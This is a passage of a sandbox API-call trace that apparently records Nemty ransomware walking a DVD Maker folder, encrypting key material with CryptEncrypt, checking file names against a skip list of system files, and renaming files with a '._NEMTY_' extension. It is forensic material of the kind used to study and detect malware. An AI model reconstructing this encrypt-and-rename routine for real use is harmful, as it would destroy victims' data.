pszString="xfqlHXQ3P9lAM9/dOupVQDIQDNTiRqro0Z6dML+r7xNB4CrLKcAUniVPvgmRhggJ\r\ngSR445iFwCYC0dN1jG8eRU3sRgJB9qH7JrpP44tC36wsHFCXzC3zUMNRusCoxcX6\r\n0KS4sKIN+6bv1WxkJTC7Isb9rZA7H4excezseldBE7nYnIoJxLcnTb0FCcCZeDio\r\nqDIYzvPA/nWH2VZW+s029MhXTVgE2Iyeo6EG7SfLudEeSmWksZpQJ/EqVrgR5EyG\r\ndRWRckV3nPmgOtrX3xqOU/2Hu6yVfACW3LQhTKNoZSwcf4BDIFzRguOkGm4Ndx6n\r\ncycAWhycBWSuaP5l4sunGw==\r\n", pcchString=0x653e91c) returned 1 [0069.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0069.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0069.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0069.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0069.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0069.971] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0070.009] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0070.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0070.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.009] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.037] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.037] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.056] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.056] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.074] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.083] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.083] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.093] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.102] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.102] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.123] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.123] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0070.123] CloseHandle (hObject=0xffffffff) returned 0 [0070.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0070.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0070.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0070.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0070.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0070.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0070.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x63401b8 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0070.124] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png._nemty_kgobjgd_")) returned 0 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0070.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0070.124] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0070.124] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0070.125] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0070.125] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0070.125] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0070.125] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0070.125] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0070.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0070.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0070.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94368 [0070.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0070.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0070.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0070.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0070.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0070.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0070.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0070.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0070.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94368 [0070.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0070.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0070.125] Sleep (dwMilliseconds=0x5) [0070.136] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdd736ab0, dwHighDateTime=0x1d561e7)) [0070.136] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdd736ab0, dwHighDateTime=0x1d561e7)) [0070.136] GetLastError () returned 0x5 [0070.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0070.136] GetLastError () returned 0x5 [0070.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0070.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0070.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0070.136] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0070.136] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0070.136] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0070.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0070.136] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="KXKrWsdOC2LsuYhnOVciDAbn7phfC7vFeXACQlE9UFqwjqT4asDCSQxnlKYnbfrT\r\nB5OCMpdp7gRc9ITtMwiAo4aWG5HGiv3yITwhplIlajXm+74qi02bh0DVh5yR6WzD\r\nN0UcNnVt/XagxmOQP+vQmX2KS34HtEl/DDv4YMjxVgiWsPI3KQKGeLyj5yEfXrM5\r\n8crLKkLOP/bJxukI6/vkUl2x1VjMEcvVR9aI2nDL6pC0hqJogRZBgLNWLtQOVQY5\r\nBDFyUMeF8sKZoy83VdabCSlaiFCS64BfMMCpFpN58vuJGch6VSD+JfZ9I85ozrjA\r\ntKUXIBktoMNd74CEDfCLXw==\r\n", pcchString=0x653e91c) returned 1 [0070.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0070.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0070.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0070.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0070.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0070.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0070.136] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0070.137] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0070.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0070.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.137] 